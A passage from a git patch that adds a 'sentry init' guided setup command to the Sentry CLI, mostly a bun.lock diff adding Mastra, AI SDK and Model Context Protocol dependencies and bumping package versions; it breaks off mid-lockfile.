From 4d6dddef8bdbeb64e5ebd080b4f944a0d2c62937 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 17 Feb 2026 20:48:57 +0100 Subject: [PATCH 01/72] feat(init): add init command for guided Sentry project setup Adds `sentry init` wizard that walks users through project setup via the Mastra API, handling DSN configuration, SDK installation prompts, and local file operations. Co-Authored-By: Claude Opus 4.6 --- .gitignore | 1 + bun.lock | 438 +++++++++++++++++++++++++++++++--- package.json | 1 + src/app.ts | 2 + src/commands/init.ts | 89 +++++++ src/lib/init/constants.ts | 8 + src/lib/init/formatters.ts | 120 ++++++++++ src/lib/init/interactive.ts | 181 ++++++++++++++ src/lib/init/local-ops.ts | 267 +++++++++++++++++++++ src/lib/init/types.ts | 101 ++++++++ src/lib/init/wizard-runner.ts | 115 +++++++++ 11 files changed, 1288 insertions(+), 35 deletions(-) create mode 100644 src/commands/init.ts create mode 100644 src/lib/init/constants.ts create mode 100644 src/lib/init/formatters.ts create mode 100644 src/lib/init/interactive.ts create mode 100644 src/lib/init/local-ops.ts create mode 100644 src/lib/init/types.ts create mode 100644 src/lib/init/wizard-runner.ts diff --git a/.gitignore b/.gitignore index e9259aae..9e4b370a 100644 --- a/.gitignore +++ b/.gitignore @@ -34,6 +34,7 @@ report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json .cache *.tsbuildinfo .turbo +.mastra # docs docs/dist diff --git a/bun.lock b/bun.lock index 2d6f6a6e..323ae911 100644 --- a/bun.lock +++ b/bun.lock @@ -3,9 +3,9 @@ "configVersion": 1, "workspaces": { "": { - "name": "sentry", "devDependencies": { "@biomejs/biome": "2.3.8", + "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", "@sentry/esbuild-plugin": "^2.23.0", @@ -37,17 +37,33 @@ "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch", }, "packages": { + "@a2a-js/sdk": ["@a2a-js/sdk@0.2.5", "", { "dependencies": { "@types/cors": "^2.8.17", "@types/express": "^4.17.23", "body-parser": "^2.2.0", "cors": "^2.8.5", "express": "^4.21.2", "uuid": "^11.1.0" } }, "sha512-VTDuRS5V0ATbJ/LkaQlisMnTAeYKXAK6scMguVBstf+KIBQ7HIuKhiXLv+G/hvejkV+THoXzoNifInAkU81P1g=="], + + "@ai-sdk/provider": ["@ai-sdk/provider@2.0.1", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-KCUwswvsC5VsW2PWFqF8eJgSCu5Ysj7m1TxiHTVA6g7k360bk0RNQENT8KTMAYEs+8fWPD3Uu4dEmzGHc+jGng=="], + + "@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@2.2.8", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "nanoid": "^3.3.8", "secure-json-parse": "^2.7.0" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-fqhG+4sCVv8x7nFzYnFo19ryhAa3w096Kmc3hWxMQfW/TubPOmt3A6tYZhl4mUfQWWQMsuSkLrtjlWuXBVSGQA=="], + + "@ai-sdk/provider-utils-v5": ["@ai-sdk/provider-utils@3.0.20", "", { "dependencies": { "@ai-sdk/provider": "2.0.1", "@standard-schema/spec": "^1.0.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-iXHVe0apM2zUEzauqJwqmpC37A5rihrStAih5Ks+JE32iTe4LZ58y17UGBjpQQTCRw9YxMeo2UFLxLpBluyvLQ=="], + + "@ai-sdk/provider-utils-v6": ["@ai-sdk/provider-utils@4.0.0", "", { "dependencies": { "@ai-sdk/provider": "3.0.0", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-HyCyOls9I3a3e38+gtvOJOEjuw9KRcvbBnCL5GBuSmJvS9Jh9v3fz7pRC6ha1EUo/ZH1zwvLWYXBMtic8MTguA=="], + + "@ai-sdk/provider-v5": ["@ai-sdk/provider@2.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-6o7Y2SeO9vFKB8lArHXehNuusnpddKPk7xqL7T2/b+OvXMRIXUO1rR4wcv1hAFUAT9avGZshty3Wlua/XA7TvA=="], + + "@ai-sdk/provider-v6": ["@ai-sdk/provider@3.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-m9ka3ptkPQbaHHZHqDXDF9C9B5/Mav0KTdky1k2HZ3/nrW2t1AgObxIVPyGDWQNS9FXT/FS6PIoSjpcP/No8rQ=="], + + "@ai-sdk/ui-utils-v5": ["@ai-sdk/ui-utils@1.2.11", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "@ai-sdk/provider-utils": "2.2.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-3zcwCc8ezzFlwp3ZD15wAPjf2Au4s3vAbKsXQVyhxODHcmu0iyPO2Eua6D/vicq/AUm/BAo60r97O6HU+EI0+w=="], + "@apm-js-collab/code-transformer": ["@apm-js-collab/code-transformer@0.8.2", "", {}, "sha512-YRjJjNq5KFSjDUoqu5pFUWrrsvGOxl6c3bu+uMFc9HNNptZ2rNU/TI2nLw4jnhQNtka972Ee2m3uqbvDQtPeCA=="], "@apm-js-collab/tracing-hooks": ["@apm-js-collab/tracing-hooks@0.3.1", "", { "dependencies": { "@apm-js-collab/code-transformer": "^0.8.0", "debug": "^4.4.1", "module-details-from-path": "^1.0.4" } }, "sha512-Vu1CbmPURlN5fTboVuKMoJjbO5qcq9fA5YXpskx3dXe/zTBvjODFoerw+69rVBlRLrJpwPqSDqEuJDEKIrTldw=="], - "@babel/code-frame": ["@babel/code-frame@7.28.6", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-JYgintcMjRiCvS8mMECzaEn+m3PfoQiyqukOMCCVQtoJGYJw8j/8LBJEiqkHLkfwCcs74E3pbAUFNg7d9VNJ+Q=="], + "@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="], - "@babel/compat-data": ["@babel/compat-data@7.28.6", "", {}, "sha512-2lfu57JtzctfIrcGMz992hyLlByuzgIk58+hhGCxjKZ3rWI82NnVLjXcaTqkI2NvlcvOskZaiZ5kjUALo3Lpxg=="], + "@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="], - "@babel/core": ["@babel/core@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/generator": "^7.28.6", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/template": "^7.28.6", "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-H3mcG6ZDLTlYfaSNi0iOKkigqMFvkTKlGUYlD8GW7nNOYRrevuA46iTypPyv+06V3fEmvvazfntkBU34L0azAw=="], + "@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="], - "@babel/generator": ["@babel/generator@7.28.6", "", { "dependencies": { "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-lOoVRwADj8hjf7al89tvQ2a1lf53Z+7tiXMgpZJL3maQPDxh0DgLMN62B2MKUOFcoodBHLMbDM6WAbKgNy5Suw=="], + "@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="], "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="], @@ -65,13 +81,13 @@ "@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="], - "@babel/parser": ["@babel/parser@7.28.6", "", { "dependencies": { "@babel/types": "^7.28.6" }, "bin": "./bin/babel-parser.js" }, "sha512-TeR9zWR18BvbfPmGbLampPMW+uW1NZnJlRuuHso8i87QZNq2JRF9i6RgxRqtEq+wQGsS19NNTWr2duhnE49mfQ=="], + "@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="], "@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="], - "@babel/traverse": ["@babel/traverse@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/generator": "^7.28.6", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.6", "@babel/template": "^7.28.6", "@babel/types": "^7.28.6", "debug": "^4.3.1" } }, "sha512-fgWX62k02qtjqdSNTAGxmKYY/7FSL9WAS1o2Hu5+I5m9T0yxZzr4cnrfXQ/MX0rIifthCSs6FKTlzYbJcPtMNg=="], + "@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="], - "@babel/types": ["@babel/types@7.28.6", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-0ZrskXVEHSWIqZM/sQZ4EV3jZJXRkio/WCxaqKZP1g//CEWEPSfeZFcms4XeKBCHU0ZKnIkdJeU/kF+eRp5lBg=="], + "@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="], "@biomejs/biome": ["@biomejs/biome@2.3.8", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.8", "@biomejs/cli-darwin-x64": "2.3.8", "@biomejs/cli-linux-arm64": "2.3.8", "@biomejs/cli-linux-arm64-musl": "2.3.8", "@biomejs/cli-linux-x64": "2.3.8", "@biomejs/cli-linux-x64-musl": "2.3.8", "@biomejs/cli-win32-arm64": "2.3.8", "@biomejs/cli-win32-x64": "2.3.8" }, "bin": { "biome": "bin/biome" } }, "sha512-Qjsgoe6FEBxWAUzwFGFrB+1+M8y/y5kwmg5CHac+GSVOdmOIqsAiXM5QMVGZJ1eCUCLlPZtq4aFAQ0eawEUuUA=="], @@ -147,9 +163,11 @@ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], - "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], + "@hono/node-server": ["@hono/node-server@1.19.9", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw=="], + + "@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="], - "@isaacs/brace-expansion": ["@isaacs/brace-expansion@5.0.0", "", { "dependencies": { "@isaacs/balanced-match": "^4.0.1" } }, "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA=="], + "@isaacs/ttlcache": ["@isaacs/ttlcache@2.1.4", "", {}, "sha512-7kMz0BJpMvgAMkyglums7B2vtrn5g0a0am77JY0GjkZZNetOBCFn7AG7gKCwT0QPiXyxW7YIQSgtARknUEOcxQ=="], "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], @@ -161,13 +179,25 @@ "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + "@lukeed/csprng": ["@lukeed/csprng@1.1.0", "", {}, "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA=="], + + "@lukeed/uuid": ["@lukeed/uuid@2.0.1", "", { "dependencies": { "@lukeed/csprng": "^1.1.0" } }, "sha512-qC72D4+CDdjGqJvkFMMEAtancHUQ7/d/tAiHf64z8MopFDmcrtbcJuerDtFceuAfQJ2pDSfCKCtbqoGBNnwg0w=="], + + "@mastra/client-js": ["@mastra/client-js@1.4.0", "", { "dependencies": { "@lukeed/uuid": "^2.0.1", "@mastra/core": "1.4.0", "@mastra/schema-compat": "1.1.0", "json-schema": "^0.4.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-nCRO//j7qy7ZQwbdFdFgDce493caX0o9makNIvMuSjCBRJwdxj2k1YP10nR24OsG7sLvnoZLKYxgu5zt5n4vFw=="], + + "@mastra/core": ["@mastra/core@1.4.0", "", { "dependencies": { "@a2a-js/sdk": "~0.2.4", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.20", "@ai-sdk/provider-utils-v6": "npm:@ai-sdk/provider-utils@4.0.0", "@ai-sdk/provider-v5": "npm:@ai-sdk/provider@2.0.0", "@ai-sdk/provider-v6": "npm:@ai-sdk/provider@3.0.0", "@ai-sdk/ui-utils-v5": "npm:@ai-sdk/ui-utils@1.2.11", "@isaacs/ttlcache": "^2.1.4", "@lukeed/uuid": "^2.0.1", "@mastra/schema-compat": "1.1.0", "@modelcontextprotocol/sdk": "^1.17.5", "@sindresorhus/slugify": "^2.2.1", "dotenv": "^17.2.3", "gray-matter": "^4.0.3", "hono": "^4.11.3", "hono-openapi": "^1.1.1", "js-tiktoken": "^1.0.21", "json-schema": "^0.4.0", "lru-cache": "^11.2.2", "p-map": "^7.0.3", "p-retry": "^7.1.0", "radash": "^12.1.1", "xxhash-wasm": "^1.1.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-dyCUFozUGXwyNLl5zRZbKFKemp4gfk+vTsrfgv9M08OlXl2AuLgc+J6Yyj9gFwBVCTgxPaKUtu3QaDOiproXrg=="], + + "@mastra/schema-compat": ["@mastra/schema-compat@1.1.0", "", { "dependencies": { "json-schema-to-zod": "^2.7.0", "zod-from-json-schema": "^0.5.0", "zod-from-json-schema-v3": "npm:zod-from-json-schema@^0.0.5", "zod-to-json-schema": "^3.24.6" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-2v8nTaAC/279jHs0ux2Emp+lNgBFq3QeNbZCGSHFeeBhbqqM5aWJCPY2Xgw8Z/dY3mTpFxBbmXQz3oRyYStnqg=="], + + "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.26.0", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg=="], + "@opentelemetry/api": ["@opentelemetry/api@1.9.0", "", {}, "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg=="], "@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.211.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg=="], - "@opentelemetry/context-async-hooks": ["@opentelemetry/context-async-hooks@2.5.0", "", { "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-uOXpVX0ZjO7heSVjhheW2XEPrhQAWr2BScDPoZ9UDycl5iuHG+Usyc3AIfG6kZeC1GyLpMInpQ6X5+9n69yOFw=="], + "@opentelemetry/context-async-hooks": ["@opentelemetry/context-async-hooks@2.5.1", "", { "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-MHbu8XxCHcBn6RwvCt2Vpn1WnLMNECfNKYB14LI5XypcgH4IE0/DiVifVR9tAkwPMyLXN8dOoPJfya3IryLQVw=="], - "@opentelemetry/core": ["@opentelemetry/core@2.5.0", "", { "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ=="], + "@opentelemetry/core": ["@opentelemetry/core@2.5.1", "", { "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-Dwlc+3HAZqpgTYq0MUyZABjFkcrKTePwuiFVLjahGD8cx3enqihmpAmdgNFO1R4m/sIe5afjJrA25Prqy4NXlA=="], "@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.211.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.211.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-h0nrZEC/zvI994nhg7EgQ8URIHt0uDTwN90r3qQUdZORS455bbx+YebnGeEuFghUT0HlJSrLF4iHw67f+odY+Q=="], @@ -217,9 +247,9 @@ "@opentelemetry/redis-common": ["@opentelemetry/redis-common@0.38.2", "", {}, "sha512-1BCcU93iwSRZvDAgwUxC/DV4T/406SkMfxGqu5ojc3AvNI+I9GhV7v0J1HljsczuuhcnFLYqD5VmwVXfCGHzxA=="], - "@opentelemetry/resources": ["@opentelemetry/resources@2.5.0", "", { "dependencies": { "@opentelemetry/core": "2.5.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g=="], + "@opentelemetry/resources": ["@opentelemetry/resources@2.5.1", "", { "dependencies": { "@opentelemetry/core": "2.5.1", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-BViBCdE/GuXRlp9k7nS1w6wJvY5fnFX5XvuEtWsTAOQFIO89Eru7lGW3WbfbxtCuZ/GbrJfAziXG0w0dpxL7eQ=="], - "@opentelemetry/sdk-trace-base": ["@opentelemetry/sdk-trace-base@2.5.0", "", { "dependencies": { "@opentelemetry/core": "2.5.0", "@opentelemetry/resources": "2.5.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ=="], + "@opentelemetry/sdk-trace-base": ["@opentelemetry/sdk-trace-base@2.5.1", "", { "dependencies": { "@opentelemetry/core": "2.5.1", "@opentelemetry/resources": "2.5.1", "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "sha512-iZH3Gw8cxQn0gjpOjJMmKLd9GIaNh/E3v3ST67vyzLSxHBs14HsG4dy7jMYyC5WXGdBVEcM7U/XTF5hCQxjDMw=="], "@opentelemetry/semantic-conventions": ["@opentelemetry/semantic-conventions@1.39.0", "", {}, "sha512-R5R9tb2AXs2IRLNKLBJDynhkfmx7mX0vi8NkhZb3gUkPWHn6HXk5J8iQ/dql0U3ApfWym4kXXmBDRGO+oeOfjg=="], @@ -261,19 +291,43 @@ "@sentry/opentelemetry": ["@sentry/opentelemetry@10.39.0", "", { "dependencies": { "@sentry/core": "10.39.0" }, "peerDependencies": { "@opentelemetry/api": "^1.9.0", "@opentelemetry/context-async-hooks": "^1.30.1 || ^2.1.0", "@opentelemetry/core": "^1.30.1 || ^2.1.0", "@opentelemetry/sdk-trace-base": "^1.30.1 || ^2.1.0", "@opentelemetry/semantic-conventions": "^1.39.0" } }, "sha512-eU8t/pyxjy7xYt6PNCVxT+8SJw5E3pnupdcUNN4ClqG4O5lX4QCDLtId48ki7i30VqrLtR7vmCHMSvqXXdvXPA=="], + "@sindresorhus/slugify": ["@sindresorhus/slugify@2.2.1", "", { "dependencies": { "@sindresorhus/transliterate": "^1.0.0", "escape-string-regexp": "^5.0.0" } }, "sha512-MkngSCRZ8JdSOCHRaYd+D01XhvU3Hjy6MGl06zhOk614hp9EOAp5gIkBeQg7wtmxpitU6eAL4kdiRMcJa2dlrw=="], + + "@sindresorhus/transliterate": ["@sindresorhus/transliterate@1.6.0", "", { "dependencies": { "escape-string-regexp": "^5.0.0" } }, "sha512-doH1gimEu3A46VX6aVxpHTeHrytJAG6HgdxntYnCFiIFHEM/ZGpG8KiZGBChchjQmG0XFIBL552kBTjVcMZXwQ=="], + + "@standard-community/standard-json": ["@standard-community/standard-json@0.3.5", "", { "peerDependencies": { "@standard-schema/spec": "^1.0.0", "@types/json-schema": "^7.0.15", "@valibot/to-json-schema": "^1.3.0", "arktype": "^2.1.20", "effect": "^3.16.8", "quansync": "^0.2.11", "sury": "^10.0.0", "typebox": "^1.0.17", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-to-json-schema": "^3.24.5" }, "optionalPeers": ["@valibot/to-json-schema", "arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-to-json-schema"] }, "sha512-4+ZPorwDRt47i+O7RjyuaxHRK/37QY/LmgxlGrRrSTLYoFatEOzvqIc85GTlM18SFZ5E91C+v0o/M37wZPpUHA=="], + + "@standard-community/standard-openapi": ["@standard-community/standard-openapi@0.2.9", "", { "peerDependencies": { "@standard-community/standard-json": "^0.3.5", "@standard-schema/spec": "^1.0.0", "arktype": "^2.1.20", "effect": "^3.17.14", "openapi-types": "^12.1.3", "sury": "^10.0.0", "typebox": "^1.0.0", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-openapi": "^4" }, "optionalPeers": ["arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-openapi"] }, "sha512-htj+yldvN1XncyZi4rehbf9kLbu8os2Ke/rfqoZHCMHuw34kiF3LP/yQPdA0tQ940y8nDq3Iou8R3wG+AGGyvg=="], + + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + "@stricli/auto-complete": ["@stricli/auto-complete@1.2.5", "", { "dependencies": { "@stricli/core": "^1.2.5" }, "bin": { "auto-complete": "dist/bin/cli.js" } }, "sha512-C6G88Hh4lUWBwiqsxbcA4I1ricSQwiLaOziTWW3NmBoX7WGTW7i7RvyooXMpZk1YMLf2olv5Odxmg127ik1DKQ=="], "@stricli/core": ["@stricli/core@1.2.5", "", {}, "sha512-+afyztQW7fwWkqmU2WQZbdc3LjnZThWYdtE0l+hykZ1Rvy7YGxZSvsVCS/wZ/2BNv117pQ9TU1GZZRIcPnB4tw=="], - "@trpc/server": ["@trpc/server@11.8.1", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-P4rzZRpEL7zDFgjxK65IdyH0e41FMFfTkQkuq0BA5tKcr7E6v9/v38DEklCpoDN6sPiB1Sigy/PUEzHENhswDA=="], + "@trpc/server": ["@trpc/server@11.10.0", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-zZjTrR6He61e5TiT7e/bQqab/jRcXBZM8Fg78Yoo8uh5pz60dzzbYuONNUCOkafv5ppXVMms4NHYfNZgzw50vg=="], + + "@types/body-parser": ["@types/body-parser@1.19.6", "", { "dependencies": { "@types/connect": "*", "@types/node": "*" } }, "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g=="], - "@types/bun": ["@types/bun@1.3.6", "", { "dependencies": { "bun-types": "1.3.6" } }, "sha512-uWCv6FO/8LcpREhenN1d1b6fcspAB+cefwD7uti8C8VffIv0Um08TKMn98FynpTiU38+y2dUO55T11NgDt8VAA=="], + "@types/bun": ["@types/bun@1.3.9", "", { "dependencies": { "bun-types": "1.3.9" } }, "sha512-KQ571yULOdWJiMH+RIWIOZ7B2RXQGpL1YQrBtLIV3FqDcCu6FsbFUBwhdKUlCKUpS3PJDsHlJ1QKlpxoVR+xtw=="], "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], + "@types/cors": ["@types/cors@2.8.19", "", { "dependencies": { "@types/node": "*" } }, 